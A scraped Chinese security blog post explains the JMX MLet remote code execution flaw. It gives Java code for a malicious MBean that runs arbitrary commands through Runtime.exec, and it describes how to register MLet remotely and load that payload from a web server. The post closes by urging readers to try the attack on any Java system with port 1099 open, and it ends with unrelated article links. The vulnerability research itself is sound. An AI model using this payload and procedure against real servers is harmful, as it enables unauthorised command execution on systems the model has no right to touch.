java 怎么通过url获取远程服务器上某个文件夹下的所有文件_JMX远程代码漏洞研究...

前言:

前一段时间apace solr JMX因为配置不当出现远程代码执行漏洞,最近自己在看一套java系统时,发现该系统也存在JMX远程代码漏洞,于是乎就想研究下JMX这种通用型漏洞,下面我就从原理到利用对该漏洞做一个简单的梳理。

一、JMX服务和MBean

JMX(Java Management Extensions,即Java管理扩展)是一个为应用程序、设备、系统等植入管理功能的框架。JMX是一套复杂的机制,由于我们要讲的JMX远程代码漏洞和MBean相关,所以这里我们之介绍jmx和mbean相关的一些基础知识。

JMX是管理扩展,通过JMX我们可以监控管理我们的指定的java程序。但不是所有的java类都能被管理。只有按照特定格式编写的java类才能被jmx原理。这种特定格式机制我们称为Mbean。

我们先看一个简单的MBean,mbean首先需要定义一个接口,定义格式xxxMBean,

之后再定义一个实现该接口的类。

035e6a77ace7f1f109405729be8c7bd1.png

4192cb9093c8669e2c503302bb0cf86e.png

二、MBeanServer

对于已经实现的MBean,我们怎么进行监控和管理,这里就需要MBeanServer了。我们可以将MBeanServer理解为一个mbean的仓库,需要监控的mbean都需要先注册到仓库中。向MBeanServer注册mbean有两种方式,一是本地注册,二是远程注册(远程注册就为我们执行任意代码提供了可能,后面会细讲)。

我们先看一段简单的代码,本地向mbeanserver注册mbean。

public static void main(String[] args) throwsException{MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();//向MBeanServer 注册 mbeanObjectName helloName = new ObjectName("HelloMbean:name=Hello");mBeanServer.registerMBean(new Hello(), helloName);Registry registry = LocateRegistry.createRegistry(1099);//构造 JMXServiceURLJMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);jmxConnectorServer.start();System.out.println("JMXConnectorServer is running");}

运行程序,使用jconsole链接127.0.0.1:1099,可以看到我们的HelloMBean,也可以执行Hello()函数。

99ca478fda5dff766e742b28d161b34f.png整个过程代码实现如下:

static void JMXClient() throws Exception{     JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");     JMXConnector jmxConnector = JMXConnectorFactory.connect(url,null);     MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection();     ObjectName mbeanName = new ObjectName("HelloMbean:name=Hello");     //通过反射机制执行Hello中的hello()方法     mBeanServerConnection.invoke(mbeanName, "Hello", null, null); }

我们可以在代码中执行MBean中的方法。

三、一个特殊的Mbean之MLet

前面我们知道了mbean是什么东西,这里我们需要认识一个特殊的mbean叫MLet。

这是一个系统自带的mbean。我们简单看下其定义。

/**  * Exposes the remote management interface of the MLet  * MBean.  */ public interface MLetMBean   {
public class MLet extends java.net.URLClassLoaderimplements MLetMBean, MBeanRegistration, Externalizable { private static final long serialVersionUID = 3636148327800330130L;/** * The reference to the MBean server.*/ private MBeanServer server = null;

810f9279ca786d5ff165da17d0341ae8.png

简单理解就是,我们可以通过Mlet加载一个远程服务器上的MBean,并且没有对远程的mbean做合法性检测。

Mlet定义了一个函数getMBeanFromURL,用来加载并实例化远程的Mbean。

f092585795e671558c0b8d9a092c762e.png

至于getMBeanFromURL怎么加载远程mbean,加载哪个mbean。需要mlet来规定。

上面规定了mlet的格式,下面我们简单看下几个必须字段的含义。

CODE = class

此属性指定了要获取的 MBean 的Java 类的全名,包括包名称。

ARCHIVE = " archiveList "

此属性是必需的,它指定了一个或多个 .jar 文件,这些文件包含要获取的MBean 使用的 MBean 或其他资源。

NAME = mbeanname

当 m-let 已注册MBean 实例时,此可选属性指定了要分配给MBean 实例的对象名称。如果mbeanname 以冒号字符(:) 开始,则对象名称的域部分是 MBean 服务器的默认域,可由 MBeanServer.getDefaultDomain()返回。

四、使用Melt加载远程MBean

上一节我们简单介绍了下MLet,这节介绍下怎么加载远程的MBean

下面我们先实现一个恶意的MBean,并将其打包成JMXPayload.jar。

public interface PayloadMBean {     public String runCmd(String cmd) throws IOException, InterruptedException; } public class Payload implements PayloadMBean {     @Override     public String runCmd(String cmd) throws IOException,InterruptedException {         Runtime runtime = Runtime.getRuntime();         Process process = runtime.exec(cmd);         BufferedReader stdInput = new BufferedReader(new InputStreamReader(process.getInputStream()));         BufferedReader stdError = new BufferedReader(new InputStreamReader(process.getErrorStream()));         String stdout_data = "";         String strtmp;         while ((strtmp = stdInput.readLine()) != null) {             stdout_data += strtmp + "\n";         }         while ((strtmp = stdError.readLine()) != null) {             stdout_data += strtmp + "\n";         }         process.waitFor();         return stdout_data;     } }

构造mlet文件

将mlet和JMXPayload.jar放在web下同一个目录中。

11578518f85d05aa71ed5b59067c2480.png

先使用registerMBean向MBeanServer注册Mlet,然后使用getMBeanFromURL函数加载远程的PayloadMBean。

运行程序,使用jsonsole连接127.0.0.1:1099

6c6511b8aea95ba9f5ea2bb13d9fc5f0.png五、向远程的MBeanServer注册mbean

前几节介绍的向MBeanServer注册mbean都是在server端完成的,那如何在client端向远程的MBeanServer注册mbean呢。

我们先实现一个默认的MBeanServer,没有向其注册我们的mbean。

a73694c72e29e46ce426b3d9c4cf2b2b.png

本地我们可以通过MBeanServer.RegisterMBean注册mbean

远端我们可以通过MBeanServerConnection.createMBean注册mbean

客户端代码:

4677ce0e3610c907d95ef158d1a853f1.png

Jconsole查看结果如下,Mlet已经被注册:

156dcab656b834e3bd73469faf5b37ba.png然后通过getMBeansFromURL加载我们的恶意Mbean,执行结果如下:

a0e647d37b72be7921bbf95a9b3c490c.png

然后可以通过payload执行任意代码

d09c677245b7ee3256c9cf7ac34110cd.png当然这个jsonsole执行代码这个流程可以使用代码实现,有兴趣的可以自己研究下。

六、总结

至此,JMX漏洞的整理利用流程就结束了。我们再重新梳理下过程。

首先是MBeanServer提供了一套远程注册MBean的机制,让我们能够在本地向远端注册MBean。这个问题不大,因为我们不能注册自己写的mbean,只能注册远端服务器上已经有的mbean。巧的是jdk自己就有一些mbean,其中有一个mbean叫mlet。

Mlet是实现了一个函数getMBeansFromURL(url),这个函数能够加载并实例化我们指定的远程mbean,从而导致了我们的恶意payloadMBean被加载注册到MBeanServer上,导致任意命令执行。

JMX漏洞是一个通用型漏洞,如果遇到java系统开启1099端口,或者开启jmx的都可以使用该漏洞测试一下,惊喜就在意外中。

参考:

https://www.apiref.com/java11-zh/java.management/javax/management/loading/MLet.html

https://www.anquanke.com/post/id/194126

*本文原创作者:MrCoding,本文属于FreeBuf原创奖励计划,未经许可禁止转载

128d6ca36e2107ee84340db8e05cf0f8.gif

精彩推荐

ea1d34085539be85d8c7682ea1c6be6a.png

71734fe81482fd0347c93cf51bda3bd7.png

a96d1625c5a617c124c7556e197dc70b.png

5731528a81f216b8dcfc898a721ca70c.png

ac9290ab3f1b7f6b7f39205cc146471b.gif

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/556959.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

app每秒并发数_性能测试连载 (38) jmeter 线程数与性能测试的负载模式

点击跳转>>jmeter--由浅入深学性能系列需求下面有3个场景,思考一下在jmeter里面如何设计场景1:有一个项目,500用户同时登录,响应时间能达到多少场景2:考勤打卡,最大吞吐量能达到多少(每秒最大能完成多…

用自定义注解做点什么——自定义注解有什么用

用自定义注解做点什么 前言 你不一定听过注解,但你一定对Override不陌生。 当我们重写父类方法的时候我们就看到了Override。我们知道它表示父类方法被子类重写了。 现在告诉你,Override就是一个注解。 也许你会疑惑注解是什么? 注解&…

c++ 查找文件夹下最新创建的文件_云计算开发总结:搜索Linux文件和文件夹的方法...

当下,随着Linux在物联网、云技术、超级计算和人工智能等领域扮演关键角色,各种会议和新版本的发布令人应接不暇,Linux将迎来一个激动人心的“云时代”。如果你想把握这个风口,现在是学习Linux技术的最佳时期。今天千锋广州云计算培…

RSA 非对称加密原理

RSA 加密原理 步骤说明描述备注1找出质数P 、Q-2计算公共模数N P * Q-3欧拉函数φ(N) (P-1)(Q-1)-4计算公钥E1 < E < φ(N)E的取值必须是整数 E 和 φ(N) 必须是互质数5计算私钥DE * D % φ(N) 1-6加密C &#xff1d; M E mod NC&#xff1a;密文 M&#xff1a;明文7…

浅谈对称加密与非对称加密

在数字加密算法中&#xff0c;通过可划分为对称加密和非对称加密。 一&#xff1a;什么是对称加密&#xff1f; 在对称加密算法中&#xff0c;加密和解密使用的是同一把钥匙&#xff0c;即&#xff1a;使用相同的密匙对同一密码进行加密和解密&#xff1b; 加密过程如下&…

ios跨线程通知_一种基于Metal、Vulkan多线程渲染能力的渲染架构

快手Y-tech 原创最新技术干货分享随着3D渲染场景规模越来越复杂&#xff0c;单线程渲染架构在满足业务性能要求时已经捉襟见肘&#xff0c;因此&#xff0c;多线程渲染显得愈发重要。本文首先介绍了新一代图形渲染接口Metal、Vulkan&#xff0c;以及它们的多线程渲染特性&…

58同城面试盘点

58同城面试盘点 1.一张订单表&#xff0c;有user_name,order_id,order_time,order_amount 四个字段&#xff0c;怎么取出每个用户2021年10月以来第一个订单的金额&#xff08;下单时间格式为’yyyy-MM-dd HH:mm:ss’&#xff09;&#xff1f; select user_name,order_id,orde…

stringbuffer判断是否为空

StringBuffer sbnew StringBuffer();if(sb!null && sb.length()>0){System.out.println("证明sb不为空!"); }

virtualbox: win11主机安装deepin双向复制问题

virtualbox: win11主机安装deepin双向复制问题1.安装virtualbox增强组件(确保光驱可用)2.终端挂载3. 运行BoxLinuxAdditions4. 重启虚拟机&#xff0c;验证OK&#xff01;使用virtualbox安装深度系统deepin虚拟&#xff0c;发现虚拟机和宿主机之间不能双向复制&#xff0c;已经…

基坑监测日报模板_刚刚!温州瓯海突发塌陷,初步判断为临近地块地下室基坑支护桩移位...

资料来源&#xff1a;瓯海新闻网 | 温州百事通 | 土木吧 | 岩土新鲜事 等版权归原作者所有如有侵权请联系删除9月10日中午11点左右&#xff0c;温州市瓯海区娄桥街道商汇路道路塌陷。塌陷路面位于商汇路的公交车站旁&#xff0c;几十米长的路面已经开裂&#xff0c;公交站台发生…

java 从一个总的list集合中,去掉指定的集合元素,得到新的集合——removeAll()

/*** 两个list集合的差集* author*/ public class ListSubstract {public static void main(String[] args) {List<String> list new ArrayList<>();//作为总的listList<String> existList new ArrayList<>();//存在的listlist.add("aa");…

virtualbox:win11上的deepin如何设置与宿主机共享文件

1. 安装virtualbox增强功能 这个没有测试&#xff0c;只是理论上需要。我在上一篇帖子《virtualbox: win11主机安装deepin双向复制问题》已经安装了增强功能&#xff0c;大家可以参考安装。 2.在virtualbox上配置共享 2.1 关闭虚拟机&#xff0c;进行设置 共享文件夹路径点击…

三角形外接球万能公式_秒杀三角形问题!!三角形分角线的几个重要结论及其应用...

点击“高中数学资料共享”关注我们解三角形问题在高考中的选择、填空、解答题一般都会涉及到(最少也有两块涉及到)&#xff0c;其中有一类涉及角平分线长度、中线长、高线长度问题&#xff0c;难度不大&#xff0c;但运算量不小&#xff0c;那我们如果在考试中能在最短时间内把…

java自定义注解为空值——自定义注解的魅力你到底懂不懂

前言 你知道自定义注解的魅力所在吗&#xff1f; 你知道自定义注解该怎么使用吗&#xff1f; 本文一开始的这两个问题&#xff0c;需要您仔细思考下&#xff0c;然后结合这两个问题来阅读下面的内容&#xff1b; 本文主线&#xff1a; 注解是什么&#xff1b;实现一个自定义注…

uniapp动态修改样式_掌握Photoshop图层样式技术

凹凸贴图效果“等等&#xff0c;什么&#xff1f;” 您会惊叹&#xff1a;““图层样式”菜单中没有凹凸贴图效果&#xff01;” 的确如此&#xff0c;但是通过将“图案覆盖”和“斜面和浮雕”结合使用&#xff0c;我们可以使用可控光源实现带纹理的凹凸贴图表面。此技术需要两…

一个专业搬砖人的幻想:全国实现旬休制度

每逢过年&#xff0c;总觉得假期不够忙&#xff0c;如果折腾折腾&#xff0c;应该还是可以的。 于是想了一个替代方案&#xff0c;以弥补春节余额不足、各种假期调休的诟病。以下是设计与比较表单&#xff1a; 调整后可以实现以下愿望&#xff1a; 旬休是每月分上、中、下三…

IoT -- (七)MQTT协议详解

MQTT是什么&#xff1f; MQTT&#xff08;Message Queuing Telemetry Transport&#xff0c;消息队列遥测传输协议&#xff09;&#xff0c;是一种基于发布/订阅&#xff08;Publish/Subscribe&#xff09;模式的轻量级通讯协议&#xff0c;该协议构建于TCP/IP协议上&#xff…

刀片服务器改台式电脑_服务器到底是个什么东东?跟电脑有啥区别?电脑知识学习!...

一位朋友留言点的内容&#xff0c;想了解服务器方面的知识&#xff0c;对于普通用户而言&#xff0c;确实对服务器感觉很神秘&#xff0c;不知道服务器到底是个什么东东&#xff0c;我保证看完这篇&#xff0c;你就会明白服务器到底是个啥了。首先可以很明确的告诉你&#xff0…

IoT -- (一) 物联网平台架构设计分析

现在网上讨论的有关物联网的帖子非常之多&#xff0c;但大部分都是介绍理论或者有关硬件&#xff0c;通讯相关的问题&#xff0c;比如物联网模块&#xff0c;物联网通讯协议MQTT、XMPP、NB_IOT等&#xff0c;个人认为这些只是物联网中一部分&#xff0c;而涉及到物联网的设备如…

SFTP批量下载与中文文件名乱码问题

一、批量下载 #!/bin/bashUSERroot #密码 PASSWORD123456 #下载文件目录 SRCDIR/data #FTP目录(待下载文件目录) DESDIR/ydfile #银联IP IP 192.111.111.111 #端口 PORT22# 清空当前目录下的旧文件 rm -rf /data/*#连接远程服务器摘取数据资源 lftp sftp://${USER}:${PASSWOR…